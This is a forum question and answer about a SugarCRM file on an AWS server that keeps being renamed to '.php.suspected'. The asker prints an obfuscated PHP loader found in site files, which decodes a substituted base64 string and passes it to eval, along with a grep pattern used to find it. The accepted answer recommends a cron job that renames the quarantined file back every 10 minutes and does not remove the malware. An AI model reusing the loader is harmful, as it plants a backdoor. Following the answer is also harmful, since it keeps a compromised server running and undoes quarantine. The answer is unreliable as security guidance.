php file automatically renamed to php.suspected

Since last 4 days, we are facing strange issue on our Production server (AWS EC2 instance) specific to only one site which is SugarCRM.

Issue is /home/site_folder/public_html/include/MassUpdate.php file is renamed automatically to /home/site_folder/public_html/include/MassUpdate.php.suspected

This happens 2-3 times in a day with 3-4 hours of gap. This issue occurs only in case of specific site, even it doesn’t occur for staging replica of the same site. I even checked code of that file from both sites, it’s same.

We have Googled and found, such issue occurs mostly for WordPress sites and it could be because of attack. But we checked our server against the attack, there isn’t any. Also there is no virus/malware scan running on server.

What should we do?

Update: We found few things after going through this link We executed egrep -Rl 'function.*for.*strlen.*isset' /home/username/public_html/ And found that there are few files with following sample code.

    <?php
function flnftovr($hkbfqecms, $bezzmczom){$ggy = ''; for($i=0; $i < strlen($hkbfqecms); $i++){$ggy .= isset($bezzmczom[$hkbfqecms[$i]]) ? $bezzmczom[$hkbfqecms[$i]] : $hkbfqecms[$i];}
$ixo="base64_decode";return $ixo($ggy);}
$s = 'DMtncCPWxODe8uC3hgP3OuEKx3hjR5dCy56kT6kmcJdkOBqtSZ91NMP1OuC3hgP3h3hjRamkT6kmcJdkOBqtSZ91NJV'.
'0OuC0xJqvSMtKNtPXcJvt8369GZpsZpQWxOlzSMtrxCPjcJvkSZ96byjbZgtgbMtWhuCXbZlzHXCoCpCob'.'zxJd7Nultb4qthgtfNMtixo9phgCWbopsZ1X=';
$koicev = Array('1'=>'n', '0'=>'4', '3'=>'y', '2'=>'8', '5'=>'E', '4'=>'H', '7'=>'j', '6'=>'w', '9'=>'g', '8'=>'J', 'A'=>'Y', 'C'=>'V', 'B'=>'3', 'E'=>'x', 'D'=>'Q', 'G'=>'M', 'F'=>'i', 'I'=>'P', 'H'=>'U', 'K'=>'v', 'J'=>'W', 'M'=>'G', 'L'=>'L', 'O'=>'X', 'N'=>'b', 'Q'=>'B', 'P'=>'9', 'S'=>'d', 'R'=>'I', 'U'=>'r', 'T'=>'O', 'W'=>'z', 'V'=>'F', 'Y'=>'q', 'X'=>'0', 'Z'=>'C', 'a'=>'D', 'c'=>'a', 'b'=>'K', 'e'=>'o', 'd'=>'5', 'g'=>'m', 'f'=>'h', 'i'=>'6', 'h'=>'c', 'k'=>'p', 'j'=>'s', 'm'=>'A', 'l'=>'R', 'o'=>'S', 'n'=>'u', 'q'=>'N', 'p'=>'k', 's'=>'7', 'r'=>'t', 'u'=>'2', 't'=>'l', 'w'=>'e', 'v'=>'1', 'y'=>'T', 'x'=>'Z', 'z'=>'f');
eval(flnftovr($s, $koicev));?>

Seems some malware, how we go about removing it permanently?

Thanks

Answer

Posting this answer, it may help others.

Create a file with ‘.sh’ extension at your convenient location.
Add following code in it.

#Rename your_file_name.php.suspected to your_file_name.php mv /<path_to_your_file>/your_file_name.php.suspected /<path_to_your_file>/your_file_name.php

Save this file.
Set cron for every 10 minute (or whatever interval you need), using following line in crontab

*/10 * * * * path_to_cron_file.sh

Restart crontab service.

You will get lot of documentation on creating cron on Google.

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Answer